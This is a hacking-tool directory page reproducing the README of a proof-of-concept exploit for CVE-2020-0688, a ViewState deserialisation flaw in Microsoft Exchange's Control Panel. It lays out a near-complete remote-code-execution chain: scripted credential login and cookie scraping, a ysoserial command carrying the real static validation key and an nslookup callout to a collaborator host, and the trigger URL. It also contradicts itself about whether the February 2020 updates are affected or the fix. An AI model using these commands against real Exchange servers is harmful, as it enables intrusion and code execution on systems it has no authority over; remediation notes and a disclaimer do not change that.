Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2020-0688 — cve-2020-0688 | Kitploit
Tools/GitHubGitHub/random-robbie/cve-2020-0688
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrandom-robbie/cve-2020-0688

cve-2020-0688

cve-2020-0688

View Repository
16345296 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-0688 — Exchange Control Panel ViewState Deserialisation

A proof-of-concept helper for CVE-2020-0688, a ViewState deserialisation vulnerability in Microsoft Exchange Server's Control Panel (ECP).

Background

Exchange's ECP machine key is generated from a static, well-known validation key during installation. Because every Exchange installation ships with the same default <machineKey> in web.config, an authenticated attacker can craft a malicious __VIEWSTATE parameter that the server deserialises, resulting in remote code execution as the application pool account. Authentication is required — any low-privileged mailbox account is sufficient; no elevated privileges are needed.

Affected versions

Microsoft Exchange Server 2010, 2013, 2016 and 2019 up to and including the February 2020 security updates (Exchange 2016 CU14/15, Exchange 2019 CU3/CU4, and their service-pack equivalents). Fixed in the February 2020 patches.

Prerequisites

  • Credentials for any Exchange mailbox user (email address and password).
  • The __VIEWSTATEGENERATOR value from a page's HTML source.
  • The ASP.NET_SessionId cookie value, used as the --viewstateuserkey.
  • ysoserial.net to generate the crafted ViewState payload.

How the POC works

exploit.py performs the authentication and parameter-gathering half of the attack:

  1. Logs into the target OWA/ECP endpoint by POSTing the username and password to auth.owa.
  2. If the login succeeds, it scrapes the __VIEWSTATEGENERATOR value from the response page and extracts the ASP.NET_SessionId cookie value from the response headers to use as the ViewState user key.
  3. It prints a ready-made ysoserial.exe command line pre-filled with the captured --validationkey and --viewstateuserkey values, so you can generate the malicious ViewState payload.
  4. You then request the ECP default page with the generated __VIEWSTATE and __VIEWSTATEGENERATOR parameters to trigger deserialisation.

Note: the script is a mock-up of the exploit flow and has not been fully tested against a live demo system; treat it as a starting point rather than a finished weaponised exploit.

Usage

python3 exploit.py -s https://exchange.example.com/ecp/ -u [email protected] -p 'Password123!'
ArgumentDescription
-s, --serverECP server URL
-u, --userEmail address of the mailbox user
-p, --passwordThe user's password

Then generate the payload with ysoserial.net using the printed command, e.g.:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup <collab-domain>" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="<ASP.NET_SessionId>" --isdebug –islegacy

Finally trigger the deserialisation with a GET request:

https://<exchange-server>/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

Remediation

  • Apply the Microsoft February 2020 Exchange Server security updates.
  • As a hardening measure, replace the default <machineKey> in the ECP web.config with unique per-installation keys.

Disclaimer / Authorised use

This tool is provided for authorised security testing and responsible disclosure only. Do not use it against systems you do not have explicit permission to test.

Author

Robbie Wiggins — What-Security · GitHub

Download Tool